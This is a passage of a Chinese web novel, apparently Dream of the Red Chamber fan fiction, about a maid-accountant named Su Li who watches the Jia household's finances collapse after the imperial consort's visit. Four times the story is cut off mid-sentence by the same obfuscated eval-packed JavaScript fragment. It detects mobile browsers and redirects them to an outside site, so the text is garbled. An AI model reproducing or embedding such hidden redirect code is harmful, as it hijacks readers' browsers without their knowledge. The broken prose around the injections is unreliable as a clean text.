这话如同惊雷，在苏璃耳边炸响！他是在提醒！提醒这奢靡的丧事可能带来的祸患！他究竟知道多少？又为何要提醒她一个微不足道的丫鬟？ 她只觉得口干舌燥，背脊微微发凉，一时竟不知该如何回应。 水澈却已收回目光，重新看向她，那目光深不见底，仿佛能将她那点隐秘的心思和挣扎都看透。“苏姑娘似乎清减了些。差事再要紧，也当顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908609|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜自身。”他说完，不等苏璃反应，便对一旁的麝月道，“既然宝玉不得空，我改日再来。走吧。” “四爷慢走。”苏璃忙敛衽相送。 水澈点了点头，玄色的身影从容不迫地向外走去，在门口略一停顿，并未回头，只留下清淡一句：“那日百巧斋外所言，望姑娘慎思。” 话音落下，人已消失在门外廊下。 苏璃站在原地，手中那支毛笔的笔尖，一滴墨汁悄然滴落，在名册上泅开一小团污渍。她浑然未觉，耳中只反复回响着水澈最后那句话。“百巧斋外所言”他指的是“真正开源”，还是“刚直易折”？抑或，两者皆有？ 他今日这番举动，看似随意，实则处处机锋。他看到了月钱发放的井然有序，也看到了这秩序之下隐藏的危机。他提及秦可卿奢靡的丧事，点出“过犹不及”，是警告，还是……某种形式的提醒？他最后那句“顾惜自身”，更是意味深长。 这个男人，如同一个冷静的旁观者，站在更高的地方，俯瞰着荣国府这局棋。而她，不过是他偶然注意到的一枚棋子，或许，是一枚让他觉得“有点意思”的棋子。他今日的“偶遇”和寥寥数语，是在观察，是在试探，还是……有别的用意？ 苏璃说不清心中是何滋味。有被看透的惊悸，有面对未知的警惕，但奇怪的是，竟也有一丝极淡的、难以言喻的悸动。 在这深宅大院中，人人或沉溺享乐，或勾心斗角，或麻木度日，唯有他，水澈，用那样一双冷冽透彻的眼睛，洞悉着一切，包括她那点不甘蛰伏的野心。他并不赞同，或许也不关心，但他看到了。这种“被看到”的感觉，对于一直如同影子般生存、暗中筹划的苏璃而言，竟有种诡异的、打破孤寂的共鸣。 “姑娘？姑娘？”小丫鬟的呼唤将她惊醒，“月钱发完了，这些册子……” 苏璃深吸一口气，强迫自己冷静下来。她看向名册上那团墨渍，拿出张干净的纸，小心吸干，然后提笔，在一旁空白处，用只有自己能懂的符号，快速记下了几个字：“木秀于林，过犹不及。开源，慎独。” 她将册子合上，对丫鬟道：“收拾了吧。账目仔细核对一遍，入库。”声音已然恢复了平日的沉静。 然而，她的心中却再也无法平静。水澈的出现，像一颗投入古潭的石子，激起的涟漪久久不散。他究竟是一个危险的变数，还是一个……可能的契机？ 她不知道。但她知道，从今往后，她在这府中的每一步，恐怕都要考虑这双来自王府的、冷静莫测的眼睛了。 窗外秋风渐紧，卷起几片枯黄的落叶。苏璃拢了拢衣襟，觉得今年的秋天，似乎格外的冷。而那双玄色身影带来的无形压力与那一丝诡异的悸动，却如同一点微弱的火星，在她冰封的心湖深处，悄然闪烁了一下。 37. 元春省亲 水澈那句“木秀于林，风必摧之”的警告，如同秋日里最后一声惊雷，虽未带来即刻的风雨，却让苏璃心底那份不安与警觉，沉甸甸地压了许久。 她越发谨言慎行，除了账房必要事务，几乎足不出户，连偶尔与宝玉房中几个相熟的大丫头说话，也加倍留神。然而，日子依旧要过，账目依旧繁杂，府中因省亲大事临近而日益加重的喧嚣与忙碌，也容不得她有半分懈怠。 秦可卿的丧事余波未平，宁荣两府尚未完全从那场奢靡的哀荣中缓过气来，另一件泼天喜事——贤德妃元春省亲——便已迫在眉睫。两府上下，从主子到奴才，无不将全副精神投入其中，仿佛要将丧事的晦气一扫而空，用十倍百倍的热闹与辉煌，来迎接这“烈火烹油，鲜花着锦”的盛事。 省亲别墅——大观园，更是日夜赶工，匠人如蚁，灯火彻夜不息。银子流水般花出去，比之秦氏丧事有过之而无不及。贾琏、贾珍等人忙得脚不沾地，贾政虽不惯俗务，也常被请去商议题匾额、定规制等事。 内眷这边，王夫人、邢夫人日日与凤姐计议，从接驾礼仪、宴席摆设，到各处陈设、丫鬟仆役的调派，无不精细到极致。凤姐更是忙得几乎以理事厅为家，眼下的乌青用再厚的脂粉也遮掩不住，脾气也越发急躁，平儿和苏璃在她跟前回话，都需打起十二分精神。 苏璃的账房，成了这庞大开支的核心枢纽。采买奇花异草、珍玩古器、绸缎绫罗、各色器皿的银钱，支付匠人工钱物料费用的款项，打点宫内太监、执事人员的赏封……每日里票据如雪片般飞来。 她与几个识字的丫鬟日夜轮值，登记、核对、分类、归档，不敢有丝毫错漏。每一笔支出，她都清清楚楚记下，心中那本暗账，关于贾府财政的窟窿，也随之越描越大，越描越黑。她冷眼看着这看似繁花似锦、实则透支根基的盛景，心中那股寒意与筹谋，也越发清晰坚定。 转眼已是腊月，省亲之日定在了正月十五上元佳节。进了腊月，府中气氛更是紧张到极致。各处打扫装饰，演练礼仪，置办年货节礼，忙乱不堪。好容易捱到年下，祭祖、守岁、拜年，诸般礼仪匆匆而过，所有人的心思，都早已飞到了正月十五那夜。 元宵佳节，终于到了。 这一日，自五鼓起，贾府上下人等都按品大妆起来，府内外各处，帐舞蟠龙，帘飞彩凤，金银焕彩，珠宝争辉，鼎焚百合之香，瓶插长春之蕊，静悄悄无一人咳嗽。贾赦、贾政等有爵者，俱在西街门外；贾母等内眷，皆在荣府大门外。街头巷口，俱系围幕挡严。 苏璃等有体面的丫鬟，亦按吩咐装扮齐整，在指定位置侍立。她穿着一身府里新做的水绿绫袄，青缎掐牙背心，白绫细折裙，头上簪着两支素银簪子，脸上薄施脂粉，站在贾母院外穿堂的廊下。这里虽不能亲见銮驾，却能感受到那股山雨欲来、屏息凝神的肃穆与期盼。 时辰一点点过去，从清晨到晌午，又从晌午到傍晚。天色渐暗，府中千百盏各色精致灯笼次第点亮，将偌大的荣宁二府照耀得如同琉璃世界，珠宝乾坤。寒风凛冽，众人站得腿脚酸麻，却无人敢动，只听得见远处隐约传来的更鼓声，和间或一两声压抑的咳嗽。 忽听外面马蹄声响，由远及近，接着是静鞭三响，鼓乐声大作。众人精神一振，知道是銮驾到了。苏璃屏住呼吸，只听外面山呼拜舞之声，隐隐传来内监尖细的唱喏。又过了许久，才见前面仪仗引导，一对对龙旌凤翣，雉羽夔头，又有销金提炉焚着御香，然后一把曲柄七凤黄金伞过来，便是冠袍带履。又有值事太监捧着香珠、绣帕、漱盂、拂尘等物。一队队过完，后面方是八个太监抬着一顶金顶金黄绣凤版舆，缓缓行来。 贾母等连忙路旁跪下。版舆停下，早有太监过来，扶起贾母、邢夫人、王夫人。那版舆抬入大门，入仪门往东去，到一所院落门前，有执拂太监跪请下舆更衣。于是抬舆入门，太监等散去，只有昭容、彩嫔等引领元春下舆。 苏璃等丫鬟随着众人，按早已演练好的路径，静默而迅速地移动至省亲别墅——大观园的正殿“顾恩思义”殿外阶下侍立。只见殿内灯火通明，香烟缭绕，隐隐传来环佩叮咚与压抑的呜咽之声。那是元春与贾母、王夫人等相见，彼此忍悲强笑，叙说离别之情。 许久，才听里面传谕，命宝玉及众姊妹觐见。又过了半晌，方有太监出来传旨：“赐宴。”于是礼仪太监引着贾赦、贾政等男眷于外殿，贾母等女眷于内殿，分别筵宴。虽说是“赐宴”，实则元春心中凄楚，众人亦强颜欢笑，珍馐美味当前，也食不知味。 宴毕，元春起身，命人备舆，欲往园中游幸。此时已是亥时，月上中天，清辉洒落，与园中万千灯火交相辉映，更添璀璨。苏璃随着侍奉的丫鬟队伍，远远跟在銮舆之后，入了大观园。 一入园中，只见处处灯光相映，时时细乐声喧，说不尽这太平气象，富贵风流。元春在舆内看了此园内外如此豪华，因默默叹息奢华过费。下舆登舟，只见清流一带，势如游龙，两边石栏上，皆系水晶玻璃各色风灯，点的如银光雪浪；上面柳杏诸树虽无花叶，然皆用通草绸绫纸绢依势作成，粘于枝上的，每一株悬灯数盏；更兼池中荷荇凫鹭之属，亦皆系螺蚌羽毛之类作就的。诸灯上下争辉，真系玻璃世界，珠宝乾坤。船上亦系各种精致盆景诸灯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950499|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠帘绣幕，桂楫兰桡，自不必说。 苏璃跟在岸上随行，看着这穷奢极欲、巧夺天工的景致，耳中听着隐约传来的元春与薛、林、探春等姊妹的赋诗唱和之声，心中却无半分欣悦，只觉一股冰冷的虚幻感。这满园辉煌，是多少白花花的银子堆砌而成？这短暂一夜的“天伦之乐”，背后又是多少人的心力交瘁与财政的岌岌可危？元春那声无人听见的叹息，或许才是这繁华盛景下最真实的注脚。 游幸毕，元春至正殿，再次升座受礼，又赏赐了众多礼物与贾母、王夫人等。眼看到了丑正三刻，请驾回銮的时辰已到。元春虽不忍别，怎奈皇家规范，违错不得，只得忍心上舆去了。 众人送驾回来，卸了妆容，一个个精疲力尽，却又带着一种过度兴奋后的空虚与茫然。主子们自去安歇，下人们则忙着收拾残局。苏璃回到账房附近的小院，已是后半夜。她褪下那身为了今日才上身的簇新衣裳，换上平日的旧袄，坐在灯下，却毫无睡意。 桌上，还摊开着白日未及整理完的几份账单，都是省亲最后关头临时采买、打点的费用，数额不小。她揉了揉眉心，正欲提笔，忽听窗外传来极轻微的“嗒”一声，像是什么小石子落在瓦上。 她心中一动，警醒起来。轻轻吹熄了灯，走到窗边，透过缝隙向外望去。月色朦胧，院中树影婆娑，并无异状。她屏息等了一会儿，正要退回，却见对面墙角阴影处，似乎有片衣角一闪而过，随即没入黑暗，再无动静。 是谁？巡夜的婆子？还是……别的什么人？ 苏璃的心跳漏了一拍。今日府中人多眼杂，龙蛇混杂，难保没有宵小之辈混入，或是某些有心人趁机窥探。她迅速回想自己近日有无行差踏错，有无留下什么可能引人注目的把柄。是那些账目？还是她与“粤海记”那边极其隐秘的联系？ 她轻轻关严窗户，插好门闩，背靠着冰冷的门板，在黑暗中静静站立。元春省亲的喧嚣与辉煌犹在眼前，但那墙角一闪而过的黑影，却像一根冰冷的刺，扎进了这浮华梦境的最深处。 盛宴已散，光华落幕，留下的不仅是疲惫和空虚，还有这深宅夜幕下，悄然浮现的、无法窥测的危机。她缓缓走回桌边，就着窗外透进的微光，摸到那支惯用的毛笔，指尖冰凉。 山雨，真的要来了么？而这风雨之中，她这只小心翼翼、刚刚开始编织自己罗网的雀鸟，又该如何自处，方能不被吹折羽毛，甚至……趁风而起？ 夜色浓重，万籁俱寂，只有远处隐约传来收拾器具的细微声响，更衬得这小小耳房，寂静得令人心慌。苏璃握着笔，在黑暗中睁着眼，直到东方泛起一丝鱼肚白。 38. 烈火烹油 元春省亲的喧嚣与辉煌，如同上元夜最绚烂的烟火，盛放到极致后，便迅速消散在黎明前的黑暗中，只留下一地冰凉的灰烬和刺鼻的硝烟气息。 銮驾回宫，荣宁二府那紧绷了数月、乃至数年的弦，骤然松弛，随之而来的不是轻松，而是更深重的疲惫与一种难以言喻的空虚。 府中上下，从主子到奴才，都像被抽去了筋骨，恹恹地提不起精神。 连续数日，各处都在忙着撤去陈设、收拾器皿、清点赏赐、结算工钱。那些为省亲而张挂的彩灯、铺设的红毡、陈设的古玩，被一一取下、卷起、归库，露出了府邸原本略显陈旧的面目，仿佛一场华美梦境醒来，面对的依旧是冰冷而窘迫的现实。 苏璃的账房，成了这场盛宴后最忙碌、也最令人窒息的地方。省亲期间所有庞大而混乱的开支，此刻都需要整理、核对、归档。采买物资的尾款、工匠仆役的赏银、各处人情的打点、乃至宴席上损耗的杯盘器皿……林林总总，单据堆积如山。空气中弥漫着纸张、墨汁和一种无声的焦虑混合的气味。 她埋首于账册之间，算盘珠子的噼啪声日夜不息。越是对账，她心头那股寒意就越重。省亲别墅的建造、装修、布置，本就耗资巨万；元春归省这一夜的排场、赏赐、宴席，更是花钱如流水。 账面上一笔笔惊人的数字，触目惊心。 公中的存银早已告罄，凤姐的体己填进去不少，暗中向银号挪借的款项，利息滚利息，已成了一笔沉重的负担。而府中日常的开销、各房的月例、田庄铺面那日渐减少的进益，却一样不能少。 这日，她正在核算一批支付给“粤海记”的玻璃器皿和自鸣钟的尾款，林之孝家的愁眉苦脸地进来回话：“璃姑娘，库上实在支应不开了。后儿要发放上月的月钱，还有几处庄子上来催秋粮折银的，账上现银不足千两，这可如何是好？” 苏璃从账册中抬起头，揉了揉酸胀的眉心。这已不是第一次了。她沉吟片刻，问道：“金陵老宅那边，年前说的那笔银子，有消息了吗？” 林之孝家的摇头：“前儿信使回来，说那边年景也不好，收上来的租子有限，勉强够那边府里开销，实在挪腾不出多少来。” 苏璃沉默。远水救不了近火。她想了想，道：“月钱是断不能拖的，否则底下人心就散了。这样，我先将账上这千两银子预备出发放月钱，庄子上催粮的，你让他们再宽限几日，就说府里近日有事，银子一时周转不开，待过了这几日便结。我……我去回二奶奶，看看能否再从别处挪借些应急。” 林之孝家的叹气道：“也只好如此了。只是这般拆东墙补西墙，终究不是长久之计啊。”她摇着头出去了。 苏璃看着她的背影，心中沉重。何尝不是长久之计？这贾府的外强中干，她比谁都清楚。省亲这场“烈火烹油”的盛宴，几乎烧干了最后的底蕴。 她起身去找凤姐。凤姐歪在炕上，脸色蜡黄，正由平儿伺候着喝药，显然是连日劳累，又加上银钱事烦心，旧疾复发了。见苏璃进来，她有气无力地抬了抬眼：“什么事？” 苏璃将银钱短缺的事委婉回了。凤姐听完，闭目半晌，才疲惫道：“知道了。我那里还有两箱子没上账的头面首饰，你让平儿找出来，悄悄拿去‘恒舒典’兑了，应应急罢。只是……别声张。” “是。”苏璃心中恻然。连凤姐的体己都要典当了，可见府中艰难到了何种地步。她应下，又道：“奶奶，如今府中用度浩繁，进项却少，长此以往，恐难以为继。是否……是否能在节流上再想想办法？或者，催一催外面几处庄子和铺面的收益？” 凤姐苦笑一声，声音沙哑：“节流？如今哪里还能再节？各房各院都瞪着眼看着，再克扣，只怕怨声载道。外面的收益……哼，那些庄头铺主，一个个滑似鬼，年成好时也报灾报荒，如今更是指望不上。”她摆摆手，“这些事日后再说，你先去把眼前的难关过了。” 苏璃知道多说无益，便告退出来，与平儿一同去清点首饰。看着那些珠光宝气的钗环玉佩被一一装入匣中，苏璃心中更觉悲凉。这虚假的繁华，还能支撑多久？ 典当首饰换来的银子，如同杯水车薪，很快又消耗殆尽。府中的气氛日渐压抑。主子们或许还沉浸在省亲带来的荣耀余晖中，或忙于年节交际，但底下人却敏锐地感受到了不同。月钱发放虽未延误，但份例里的东西开始以次充好，大厨房的菜蔬肉食也不如往日新鲜丰盛，连冬日各房份例的炭火，都明显减了量，惹得赵姨娘等人在背后抱怨不休。 这日，苏璃正在核对年下给各府送礼的清单，力求在维持体面的前提下，尽量节省开支。忽见小丫鬟引着周瑞家的进来。周瑞家的自上次被惩处后，沉寂了许久，如今虽没了实权，但因是王夫人的陪房，面上依旧还算客气。 周瑞家的脸上堆着笑，手里拿着个单子：“璃姑娘忙着呢？打扰了。我们太太想起，往年这时候，都要给清虚观的张真人送一份年例香火钱，今年事多，怕是忘了。太太让我来问问，这笔银子，公中可还预备着？” 苏璃心中一动，清虚观的年例香火？她快速翻阅账册，并无此项专门预算。她不动声色道：“周妈妈，今年各项开支都有定例，这笔银子并未单列。若是太太吩咐，自然要办。只是不知往年惯例是多少？从哪项下支取？” 周瑞家的笑道：“往年都是二十两银子，从老太太的香油月例里出，或者公中杂项里勾了都有。今年既然没单列，姑娘看着从方便处支取便是，总不能短了真人的香火。” 二十两！苏璃心中冷笑，如今府里几千两的缺口，二十两看似不多，但这类名目不清的“香火”、“布施”积少成多，也是一笔不小的开销。而且，周瑞家的此刻来提，是真为香火，还是想试探如今账目管束的松紧？或者，另有所图？ 她面上不显，只道：“原来如此。既然有旧例，自然该办。只是如今账目需得清晰，烦请周妈妈回明太太，这笔银子，是走公中杂项，还是从老太太份例里出？需得有个明确的章程，奴婢也好登记造册。” 周瑞家的笑容淡了些：“姑娘如今是越发谨慎了。这点子小事，姑娘做主便是，难道太太还会计较不成？” 苏璃语气温和却坚定：“不是计较，是规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950500|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩如此。如今每一笔进出都需账目清楚，免得日后核对起来麻烦。还是请妈妈讨个太太的明确示下才好。” 周瑞家的盯了苏璃一眼，见她神色平静，目光清澈，知道这丫头如今羽翼渐丰，轻易糊弄不得，只得讪讪道：“既如此，我回去问问太太。”说罢，转身走了。 平儿在一旁听着，低声道：“她如今倒是会寻由头。” 苏璃淡淡道：“树欲静而风不止。如今府里艰难，各方都看着，我们更需步步为营，不能授人以柄。”她心知，周瑞家的此举，不过是冰山一角。随着府中财政日益窘迫，以往被繁华掩盖的种种矛盾和算计，都会逐渐浮出水面。 果然，没过两日，贾琏琏又为了一笔在外应酬的款项与凤姐发生争执。贾琏琏嫌支取手续繁琐，数额受限，在外丢了面子，言语间竟隐隐牵出苏璃，说她“挟制主子”、“刻薄刁钻”。凤姐虽当时压了下去，但苏璃能感觉到，那看似平静的水面下，暗流愈发汹涌。 她将自己藏得更深，除了必要的账务，几乎不与人交往。每日深夜，她依旧会在灯下，用只有自己能懂的符号，在那本花样子册子上记录着。记录府中真实的财务状况，记录从各方听来的物价、商路信息，记录她那些关于“出海”、“商号”的渺茫构想。这是她在窒息般的现实中，唯一能呼吸到的一点自由空气，是她对抗注定沉沦命运的唯一武器。 然而，府外的世界，也并非净土。这日，她派去“粤海记”打听南洋香料价格的小丫头悄悄回来，带回的消息却令人沮丧。说是近来海禁风声紧，市舶司查得严，南洋来的香料价格飞涨且货源不稳，风险极大。小丫头还惴惴地补充道，铺子里伙计闲聊时说起，京城里几位王爷贝勒府上，似乎也对海外贸易颇有兴趣，暗地里较着劲呢。 苏璃的心沉了下去。连这条路，也布满了荆棘吗？王公贵胄的插手，意味着更高的门槛和更大的风险。她一个无根无基的丫鬟，想要在这虎狼环伺中分一杯羹，简直是痴人说梦。 腊月二十三，祭灶过后，年味渐浓，但荣国府的这个年，却过得有些冷清和压抑。虽然门上依旧换了桃符，张贴了门神，庭燎烧得通红，但较之往年，排场显然缩减了不少。赏赐下人的荷包、铜钱也薄了些，引得底下人窃窃私语。 除夕夜，合家团聚守岁，贾母勉强打起精神，说了些吉利话，但席间气氛总透着几分强颜欢笑。宝玉和姊妹们虽依旧说笑，却也感到了那股无形的压力。苏璃随众人在廊下伺候，看着满堂灯火下那一张张或疲惫、或焦虑、或茫然的脸孔，只觉得那“烈火烹油”之后的灰烬，冰冷地覆盖在每个人的心头。 旧岁在沉闷的钟声中逝去，新年在寒冷的晨曦中来临。苏璃站在阶下，呵出的白气瞬间消散在凛冽的空气里。她不知道，这艘千疮百孔的大船，还能在冰面上航行多久。而她这只依附其上的蜉蝣，是该随船沉没，还是该在船沉之前，奋力跃向那未知的、可能更加凶险的深海？ 她握紧了袖中那本薄薄的册子，指尖冰凉。答案，或许就藏在这看似绝望的沉寂里，需要她用十二万分的小心和勇气，去慢慢寻找。 39. 盛极隐忧 正月里的热闹，如同将尽未尽的烟火余烬，勉强维持着表面的光亮与噼啪声响，内里却已是冰冷灰暗。元春省亲带来的“天恩祖德”荣耀，在年节走亲访友的客套恭维中被反复咀嚼，渐渐也失了最初的鲜味，只剩下一种程式化的、略带疲惫的炫耀。 荣国府的门庭依旧车马不绝，但细心人却能察觉，那往来贺岁的宾客中，真正的世交显贵似乎少了些，多了些趋炎附势、打秋风之流。 府内，过年的赏赐比往年薄了，各房的份例用度也悄然收紧。大厨房的菜单减了花样，主子们或许不甚在意，底下人却已怨声载道。连宝玉屋里，往常堆满新鲜时果、精巧点心的攒盒，如今也显得空荡了些。袭人私下里叹气，对着麝月抱怨：“如今连份例里的苹果都不如往年水灵了，可见外头庄子上的进益，真是一年不如一年。” 这话不知怎的传到赵姨娘耳中，她便逮着机会在王夫人跟前嘀咕：“如今外头看着是鲜花着锦，内里却连个果子都要计较了。到底是当家的不会算计，白费了娘娘带来的体面。”王夫人听了，只捻着佛珠，淡淡说了句“家和万事兴”，便不再言语，赵姨娘讨了个没趣，只得讪讪退下。但这话终究像颗种子，落在了某些人心里。 苏璃依旧埋首账房。年节的开销、往来的礼单、各处的打赏，又是一大笔糊涂账。她尽力厘清，将不必要的花费一一裁减，能省则省，饶是如此，账面依旧触目惊心。府中的银库，早已是拆东墙补西墙，寅吃卯粮。凤姐典当首饰换来的银子，如投石入海，连个响动都没听见，就没了踪影。 这日，她正核对庄子上的年租折银账目，发现好几处田庄报上来的数目都比往年短了两三成，理由无非是“年景不好”、“雨水不调”。苏璃对着账册，眉头紧锁。她虽未亲见，但根据前世粗浅的农业知识也知道，去年并非大灾之年，这般减收，恐怕“天灾”是假，“人祸”是真——那些庄头管事，怕是欺上瞒下，中饱私囊了。 她将这几处账目标注出来，准备找机会回禀凤姐。正思忖间，平儿掀帘进来，脸上带着一丝不易察觉的忧色，低声道：“妹妹，奶奶让你过去一趟，林之孝也在。” 苏璃心中一动，收拾了账册，跟着平儿来到凤姐正房。只见凤姐歪在暖炕上，脸色比前几日更差了几分，林之孝垂手站在地下，神色凝重。 见她进来，凤姐示意她坐下，开门见山道：“叫你俩来，是有件棘手事。刚才赖大来回，说是修盖省亲别墅时，挪用了老祖宗宗祠祭田上一笔银子，原是应急，想着日后填补。如今年底盘账，那边管事的催得紧，说是开春祭祀要用，定要归还。数目不小，账上如今空空如也，你们看，如何是好？” 林之孝苦着脸道：“二奶奶，不是小的推诿，实在是各处都紧巴巴的。庄子上收成不好，铺子里生意也淡，年下各处的礼尚往来又是一大笔开销。这宗祠祭田的银子，动不得啊！若是被族里知道，可是大不敬的罪名！” 凤姐揉着额角，头痛欲裂：“我何尝不知动不得？可当时工程急等银子用，一时无处拆借，才……如今可真是搬起石头砸自己的脚！”她看向苏璃，“你管着账，最清楚不过，如今可还有能挪动的地方？” 苏璃心念电转。宗祠祭田，乃是家族根本，动了这笔银子，万一泄露出去，不仅凤姐管家之位难保，连贾政、贾赦都要受牵连。这已不是寻常亏空，而是关乎家族体统和凤姐身家性命的大事。 她沉吟片刻，谨慎开口：“奶奶，林管家说得是，祭田银子是断不能动的。如今账上确实支绌，但……是否可以从别处想法子周转？比如，府中可还有暂时用不着的古玩字画、或是些笨重器皿？或可暂押当铺，换取现银应急，待日后宽裕了再赎回来？再或者，是否可向相熟的世家，如王府、侯府，暂时挪借一些？总比动祭田的银子稳妥。” 凤姐眼睛一亮，随即又黯淡下去：“典当东西……传出去更不好听。至于挪借，”她苦笑一声，“如今这光景，家家有本难念的经，谁肯轻易外借？便是有，那利息……” 林之孝也道：“璃姑娘这法子虽好，但典当东西，终究不是长久之计，且有损府里体面。向别家挪借，如今娘娘刚省亲，外头看着风光，若传出借贷的名声，只怕……” 三人都沉默了。屋内只听得见炭盆里哔剥的轻响和凤姐略显沉重的呼吸。空气仿佛凝固了一般。 良久，凤姐长叹一声，仿佛瞬间苍老了几岁：“罢了，我再想法子。你们先去吧，此事……绝不可外传。” 苏璃和林之孝对视一眼，皆看到对方眼中的沉重，无声地退了出去。 走出院子，林之孝压低声音对苏璃道：“姑娘，这事……怕是难了。祭田的银子，我隐约知道一些，数目不小。二奶奶便是掏空体己，怕也填不上这个窟窿。” 苏璃心中一沉：“林管家可知，具体是多少？” 林之孝左右看看，凑得更近些，用几乎听不见的气音道：“怕是不下……这个数。”他伸出两根手指。 两万两！苏璃倒抽一口冷气。这绝不是小数目！凤姐的体己再多，也经不起这般填窟窿。难怪她愁成这样。 “就没有别的法子了吗？”苏璃问。 林之孝摇头：“难。除非……除非能立刻有一大笔进项。可如今这年景，田庄铺子都指望不上。除非……”他欲言又止。 “除非什么？” 林之孝声音更低：“除非，动了根本，变卖些祖产，或是……动那些不能动的‘黑钱’。”他说完，自己先打了个寒噤，连连摆手，“这话当我没说，姑娘千万别往外传！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950501|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苏璃看着林之孝匆匆离去的背影，站在原地，只觉得一股寒意从脚底升起。变卖祖产？动用“黑钱”？无论哪一条，都是饮鸩止渴，会将贾府更快地推向深渊。而凤姐，已被逼到了悬崖边上。 她恍恍惚惚走回账房，坐在冰冷的椅子上，连平儿端来的热茶都忘了接。窗外，不知何时飘起了细雪，纷纷扬扬，落在枯枝败叶上，更添凄清。 盛极而衰，这衰败的迹象，已如此清晰而狰狞地显露出来。省亲的烈火，烹干了最后一滴油；秦可卿丧事的奢靡，又雪上加霜。如今连宗祠祭田的银子都被挪用，这个家族，已经从根子上开始腐朽了。 她想起水澈那句冷冽的警告：“木秀于林，风必摧之。堆出于岸，流必湍之。有时候，过犹不及。”如今看来，何止是“过犹不及”，简直是烈火烹油之后的釜底抽薪！ 而她呢？依附在这艘行将沉没的破船上，又能支撑多久？她的那些暗中筹划，在这样的大厦将倾面前，显得如此渺小可笑。出海？商号？没有雄厚的资本，没有可靠的靠山，没有得力的臂助，这一切不过是空中楼阁。 可是，难道就这样坐以待毙吗？不，绝不能。 她猛地站起身，走到窗边，推开一条缝隙。冰冷的空气夹杂着雪花涌入，让她混沌的头脑清醒了一些。林之孝那句“不能动的黑钱”在她脑中盘旋。什么是“不能动的黑钱”？是贾府这些年通过见不得光的手段聚敛的财富？藏在哪里？谁在掌管？这或许是最后的救命稻草，也是更危险的陷阱。 还有，凤姐会怎么做？以她的性格和处境，绝不甘心坐以待毙。她会去求王夫人？还是动用更隐秘的手段？王夫人知道祭田银子被动用的事吗？如果知道，她会如何反应？是帮着隐瞒填补，还是…… 无数个念头在她脑中飞速旋转，交织成一团乱麻。她感到自己正站在一个巨大的漩涡边缘，稍有不慎，便会被吞噬得尸骨无存。 雪越下越大，很快将庭院染成一片素白，掩盖了所有污秽与不堪。但苏璃知道，掩盖只是暂时的，当冰雪消融，那下面的疮痍与隐患，只会更加触目惊心。 她轻轻关上窗，转身回到书案前。账册上那些冰冷的数字，此刻仿佛有了生命，张牙舞爪地向她扑来。她深吸一口气，拿起笔，蘸饱了墨，在空白的纸页上，写下几个只有自己能懂的符号。 那是一个危险的计划，一个或许能让她窥探到贾府最后隐秘、甚至攫取一线生机的计划。风险巨大，但值得一试。她的目光，落在了账册上记录与各王府、侯府往来礼单的那一页。北静王府……水澈。那个能看透虚妄、冷静到近乎冷酷的男人。 或许，绝境之中，也藏着意想不到的转机。雪落无声，而她心中的谋划，却如这越下越密的雪花，渐渐成型。 40. 谋划 宗祠祭田银子被挪用一事，如同一块巨石投入看似平静的深潭，在荣国府内部激起了难以察觉却深不见底的漩涡。凤姐虽严令林之孝与苏璃守口如瓶，但那股沉重的压力与焦虑，却如同无形的寒气，弥漫在她所到之处。她眼下的乌青愈发浓重，脾气也越发阴晴不定，连平儿在她跟前回话，都需加倍小心。 苏璃更是如履薄冰。她深知此事干系重大，一旦泄露，便是倾族之祸。而凤姐被逼到绝境，会做出何等举动，实难预料。她不能再被动等待，必须主动谋划，为自己，也为这具身体残存的一丝牵挂，寻一条生路。 水澈那句“真正开源”的提点，以及林之孝无意中透露的“不能动的黑钱”，如同两点微光，在黑暗中为她指明了方向。风险巨大，但机遇亦然。她需要一个契机，一个能接触到贾府最核心机密、又能与外界建立隐秘联系的契机。 机会，总是留给有准备的人。正月十五上元节刚过，府中还残留着年节的慵懒气息，一则消息悄然传开：因省亲别墅工程浩大，后续尚有诸多收尾、陈设、打理事宜，加之元妃娘娘偶有垂询园景，府中决定设一“园内总管事”，专司园中一应器物保管、花木养护、日常巡查等务，秩同二等管家，需得是极妥当、懂账目、识文墨之人。 